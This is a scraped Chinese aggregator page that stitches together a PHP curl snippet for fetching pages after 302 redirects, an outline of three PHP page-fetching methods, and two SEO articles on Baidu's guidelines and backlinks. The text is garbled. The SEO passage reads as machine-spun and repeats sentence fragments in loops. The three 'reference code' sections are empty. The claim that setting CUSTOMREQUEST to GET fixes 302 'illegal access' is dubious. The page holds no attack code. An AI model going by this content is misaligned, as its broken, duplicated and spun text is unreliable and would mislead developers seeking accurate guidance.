PHP的CURL正常抓取頁(yè)面程序如下:
$url = 'http://www.baidu.com'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $ret = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch);
如果抓取到302狀態(tài),那是因為在爬取過(guò)程中,有些跳轉需要給下一個(gè)鏈接傳遞參數,如果沒(méi)有收到相應的參數,下一個(gè)鏈接也被設置了,就是非法訪(fǎng)問(wèn)。
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
顯示應該是正常的。
上面是用來(lái)抓取函數的,應該幾乎沒(méi)有問(wèn)題。您可以查看 CURLOPT_CUSTOMREQUEST 相關(guān)信息。
使用自定義請求消息而不是“GET”或“HEAD”作為 HTTP 請求。這對于執行“DELETE”或其他更模糊的 HTTP 請求很有用。有效值為“GET”、“POST”、“CONNECT”等。換句話(huà)說(shuō),不要在此處輸入整個(gè) HTTP 請求。例如,輸入“GET /index.html HTTP/1.0\r\n\r\n”是錯誤的。
以上就是302跳轉后抓取頁(yè)面的PHP curl實(shí)現示例的詳細內容。更多詳情請關(guān)注其他相關(guān)html中文網(wǎng)站文章! 查看全部
php抓取網(wǎng)頁(yè)指定內容(這篇文章主要是對CURLOPT_CUSTOMREQUEST參數的運用(圖))
本文文章主要介紹PHP curl實(shí)現302跳轉后的頁(yè)面的例子,主要是CURLOPT_CUSTOMREQUEST參數的使用,需要的朋友可以參考
PHP的CURL正常抓取頁(yè)面程序如下:
$url = 'http://www.baidu.com'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_VERBOSE, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $ret = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch);
如果抓取到302狀態(tài),那是因為在爬取過(guò)程中,有些跳轉需要給下一個(gè)鏈接傳遞參數,如果沒(méi)有收到相應的參數,下一個(gè)鏈接也被設置了,就是非法訪(fǎng)問(wèn)。
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'GET');
顯示應該是正常的。
上面是用來(lái)抓取函數的,應該幾乎沒(méi)有問(wèn)題。您可以查看 CURLOPT_CUSTOMREQUEST 相關(guān)信息。
使用自定義請求消息而不是“GET”或“HEAD”作為 HTTP 請求。這對于執行“DELETE”或其他更模糊的 HTTP 請求很有用。有效值為“GET”、“POST”、“CONNECT”等。換句話(huà)說(shuō),不要在此處輸入整個(gè) HTTP 請求。例如,輸入“GET /index.html HTTP/1.0\r\n\r\n”是錯誤的。
以上就是302跳轉后抓取頁(yè)面的PHP curl實(shí)現示例的詳細內容。更多詳情請關(guān)注其他相關(guān)html中文網(wǎng)站文章!
php抓取網(wǎng)頁(yè)指定內容(這里收集了3種利用php獲得網(wǎng)頁(yè)源代碼抓取網(wǎng)頁(yè)內容的方法)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 65 次瀏覽 ? 2021-11-20 13:07
這里匯總了3種利用php獲取網(wǎng)頁(yè)源碼抓取網(wǎng)頁(yè)內容的方法,大家可以根據實(shí)際需要選擇。
1、使用file_get_contents獲取網(wǎng)頁(yè)源代碼
這種方法是最常用的。只需要兩行代碼,非常簡(jiǎn)單方便。
參考代碼:
2、使用fopen獲取網(wǎng)頁(yè)源碼
這個(gè)方法很多人用,但是代碼有點(diǎn)多。
參考代碼:
3、使用curl獲取網(wǎng)頁(yè)源代碼
使用curl獲取網(wǎng)頁(yè)源代碼的方法,經(jīng)常被要求較高的人使用。比如需要抓取網(wǎng)頁(yè)的內容,獲取網(wǎng)頁(yè)的header信息,使用ENCODING編碼,使用USERAGENT等等。
參考代碼一:
參考代碼二:
上例中用到了幾個(gè)curl_setopt()參數定義,如HEADER、ENCODING、USERAGENT等,更多參數和用法可以參考這里。
需要注意的是,在使用curl_init()之前,需要對php.ini進(jìn)行安全設置,否則無(wú)法執行該函數??梢詤⒖枷旅嫖恼陆鉀Q在IIS上運行PHP時(shí)Call to undefined function curl_init()的問(wèn)題。
指南:fopen()和file_get_contents()打開(kāi)URL獲取網(wǎng)頁(yè)內容的用法區別 查看全部
php抓取網(wǎng)頁(yè)指定內容(這里收集了3種利用php獲得網(wǎng)頁(yè)源代碼抓取網(wǎng)頁(yè)內容的方法)
這里匯總了3種利用php獲取網(wǎng)頁(yè)源碼抓取網(wǎng)頁(yè)內容的方法,大家可以根據實(shí)際需要選擇。
1、使用file_get_contents獲取網(wǎng)頁(yè)源代碼
這種方法是最常用的。只需要兩行代碼,非常簡(jiǎn)單方便。
參考代碼:
2、使用fopen獲取網(wǎng)頁(yè)源碼
這個(gè)方法很多人用,但是代碼有點(diǎn)多。
參考代碼:
3、使用curl獲取網(wǎng)頁(yè)源代碼
使用curl獲取網(wǎng)頁(yè)源代碼的方法,經(jīng)常被要求較高的人使用。比如需要抓取網(wǎng)頁(yè)的內容,獲取網(wǎng)頁(yè)的header信息,使用ENCODING編碼,使用USERAGENT等等。
參考代碼一:
參考代碼二:
上例中用到了幾個(gè)curl_setopt()參數定義,如HEADER、ENCODING、USERAGENT等,更多參數和用法可以參考這里。
需要注意的是,在使用curl_init()之前,需要對php.ini進(jìn)行安全設置,否則無(wú)法執行該函數??梢詤⒖枷旅嫖恼陆鉀Q在IIS上運行PHP時(shí)Call to undefined function curl_init()的問(wèn)題。
指南:fopen()和file_get_contents()打開(kāi)URL獲取網(wǎng)頁(yè)內容的用法區別
php抓取網(wǎng)頁(yè)指定內容(介紹網(wǎng)站seo優(yōu)化工作者需要具備哪些知識?百度搜索引擎優(yōu)化指南)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 71 次瀏覽 ? 2021-11-16 22:22
#sem快排簡(jiǎn)介
網(wǎng)站SEO優(yōu)化工作者需要哪些知識?百度SEO指南由百度官方編制。這是一份總共只有幾十頁(yè)的文檔,但它已經(jīng)提到了許多搜索引擎優(yōu)化中需要注意的重要事項。很多SEO鄙視這個(gè)指南,認為百度是在盡力寫(xiě)無(wú)價(jià)值的東西,但實(shí)際上并非如此。比如上面提到的兩個(gè):避免在重要的內容中使用ajax,保證URL的唯一性很重要。但是,我沒(méi)有發(fā)現任何我觀(guān)察??到的大型 網(wǎng)站,而且這些 網(wǎng)站 表現非常好。但是,這對搜索引擎優(yōu)化的結果影響很大,往往一個(gè)變化就會(huì )對某類(lèi)頁(yè)面的某個(gè)數據索引產(chǎn)生幾十個(gè)百分點(diǎn)的影響。有關(guān)“Google網(wǎng)站網(wǎng)站管理員工具幫助”的更多詳細信息。不過(guò)由于內容比較多,我跟公司所有產(chǎn)品經(jīng)理說(shuō)的就是這個(gè)信息可以作為參考,但是百度攻略一定要記住。但是對于搜索引擎優(yōu)化來(lái)說(shuō),這些信息至少需要仔細閱讀。一般來(lái)說(shuō),所有的搜索引擎優(yōu)化需求最終都是由技術(shù)人員在網(wǎng)站上實(shí)現的。然而,大多數搜索引擎優(yōu)化要求在技術(shù)上并沒(méi)有得到滿(mǎn)足。比如在子域的根目錄下,需要批量添加不同的robots.txt。有些人可能認為這只是傳輸文件,但在大多數情況下并非如此。在許多 網(wǎng)站 架構中,不同的子域共享一個(gè)根目錄,并且只能收錄相同的文件。解決方法其實(shí)很簡(jiǎn)單。robots.txt 是用 php 或其他東西動(dòng)態(tài)分析的。訪(fǎng)問(wèn)時(shí),確定要訪(fǎng)問(wèn)的域名,并返回相應的內容。然而,并不是每個(gè)程序員都會(huì )經(jīng)常滿(mǎn)足這種奇怪的需求,很多人無(wú)法同時(shí)想到這種方法。相關(guān)文章鏈接的生成方法是什么?特定于使用開(kāi)源程序或算法的一般操作細節是什么?對于搜索引擎優(yōu)化流量占網(wǎng)站總數不到1/1000的頁(yè)面,在此處添加alt并在那里刪除關(guān)鍵詞等等。尤其是對于大公司來(lái)說(shuō),這么大量的修改通常都是交給別人去做,給一群人帶來(lái)麻煩。詳情是什么?在列表頁(yè)或內頁(yè)模板上,給這邊的圖片加alt,這邊的刪除,刪除關(guān)鍵字等等(比如可以做的事情很多,網(wǎng)上大部分方法都無(wú)法查看)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排
如何讓搜索引擎優(yōu)化產(chǎn)生高質(zhì)量的反向鏈接?下面的小編輯器將告訴您 SEO 如何生成高質(zhì)量的反向鏈接。生成優(yōu)質(zhì)內容和優(yōu)質(zhì)外鏈的最好方法是編寫(xiě)優(yōu)質(zhì)內容。你的文章可以讓讀者產(chǎn)生閱讀和轉載文章的欲望。合作伙伴,鏈接交流,推薦合作伙伴鏈接。鏈接行業(yè)網(wǎng)站及相關(guān)網(wǎng)站。分類(lèi)目錄將網(wǎng)站提交給一些專(zhuān)業(yè)目錄網(wǎng)站。社交書(shū)簽為 網(wǎng)站 添加社交書(shū)簽。發(fā)布以創(chuàng )建鏈接。目前,獲取外部鏈接最有效的方式之一是發(fā)布文章。論壇或簽名文件中的帖子將URL插入到原創(chuàng )帖子中,并在論壇或簽名文件中發(fā)布鏈接。購買(mǎi)高價(jià)值鏈接是邊小不推薦的搜索引擎優(yōu)化方式,一旦被搜索引擎發(fā)現就會(huì )降級。這是不可取的。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。 查看全部
php抓取網(wǎng)頁(yè)指定內容(介紹網(wǎng)站seo優(yōu)化工作者需要具備哪些知識?百度搜索引擎優(yōu)化指南)
#sem快排簡(jiǎn)介
網(wǎng)站SEO優(yōu)化工作者需要哪些知識?百度SEO指南由百度官方編制。這是一份總共只有幾十頁(yè)的文檔,但它已經(jīng)提到了許多搜索引擎優(yōu)化中需要注意的重要事項。很多SEO鄙視這個(gè)指南,認為百度是在盡力寫(xiě)無(wú)價(jià)值的東西,但實(shí)際上并非如此。比如上面提到的兩個(gè):避免在重要的內容中使用ajax,保證URL的唯一性很重要。但是,我沒(méi)有發(fā)現任何我觀(guān)察??到的大型 網(wǎng)站,而且這些 網(wǎng)站 表現非常好。但是,這對搜索引擎優(yōu)化的結果影響很大,往往一個(gè)變化就會(huì )對某類(lèi)頁(yè)面的某個(gè)數據索引產(chǎn)生幾十個(gè)百分點(diǎn)的影響。有關(guān)“Google網(wǎng)站網(wǎng)站管理員工具幫助”的更多詳細信息。不過(guò)由于內容比較多,我跟公司所有產(chǎn)品經(jīng)理說(shuō)的就是這個(gè)信息可以作為參考,但是百度攻略一定要記住。但是對于搜索引擎優(yōu)化來(lái)說(shuō),這些信息至少需要仔細閱讀。一般來(lái)說(shuō),所有的搜索引擎優(yōu)化需求最終都是由技術(shù)人員在網(wǎng)站上實(shí)現的。然而,大多數搜索引擎優(yōu)化要求在技術(shù)上并沒(méi)有得到滿(mǎn)足。比如在子域的根目錄下,需要批量添加不同的robots.txt。有些人可能認為這只是傳輸文件,但在大多數情況下并非如此。在許多 網(wǎng)站 架構中,不同的子域共享一個(gè)根目錄,并且只能收錄相同的文件。解決方法其實(shí)很簡(jiǎn)單。robots.txt 是用 php 或其他東西動(dòng)態(tài)分析的。訪(fǎng)問(wèn)時(shí),確定要訪(fǎng)問(wèn)的域名,并返回相應的內容。然而,并不是每個(gè)程序員都會(huì )經(jīng)常滿(mǎn)足這種奇怪的需求,很多人無(wú)法同時(shí)想到這種方法。相關(guān)文章鏈接的生成方法是什么?特定于使用開(kāi)源程序或算法的一般操作細節是什么?對于搜索引擎優(yōu)化流量占網(wǎng)站總數不到1/1000的頁(yè)面,在此處添加alt并在那里刪除關(guān)鍵詞等等。尤其是對于大公司來(lái)說(shuō),這么大量的修改通常都是交給別人去做,給一群人帶來(lái)麻煩。詳情是什么?在列表頁(yè)或內頁(yè)模板上,給這邊的圖片加alt,這邊的刪除,刪除關(guān)鍵字等等(比如可以做的事情很多,網(wǎng)上大部分方法都無(wú)法查看)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 可以做的事情很多,大部分方法網(wǎng)上都看不到)。因為修改了公共頁(yè)面的模板,影響是對站點(diǎn)的,哪怕是很小的修改,都可能導致整個(gè)站點(diǎn)的搜索引擎優(yōu)化流量發(fā)生幾個(gè)百分點(diǎn)的變化。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排 如轉載請注明出處。sem快速排

如何讓搜索引擎優(yōu)化產(chǎn)生高質(zhì)量的反向鏈接?下面的小編輯器將告訴您 SEO 如何生成高質(zhì)量的反向鏈接。生成優(yōu)質(zhì)內容和優(yōu)質(zhì)外鏈的最好方法是編寫(xiě)優(yōu)質(zhì)內容。你的文章可以讓讀者產(chǎn)生閱讀和轉載文章的欲望。合作伙伴,鏈接交流,推薦合作伙伴鏈接。鏈接行業(yè)網(wǎng)站及相關(guān)網(wǎng)站。分類(lèi)目錄將網(wǎng)站提交給一些專(zhuān)業(yè)目錄網(wǎng)站。社交書(shū)簽為 網(wǎng)站 添加社交書(shū)簽。發(fā)布以創(chuàng )建鏈接。目前,獲取外部鏈接最有效的方式之一是發(fā)布文章。論壇或簽名文件中的帖子將URL插入到原創(chuàng )帖子中,并在論壇或簽名文件中發(fā)布鏈接。購買(mǎi)高價(jià)值鏈接是邊小不推薦的搜索引擎優(yōu)化方式,一旦被搜索引擎發(fā)現就會(huì )降級。這是不可取的。如果沒(méi)有特別說(shuō)明,文章都是拉18原創(chuàng )制作的。如轉載請注明出處。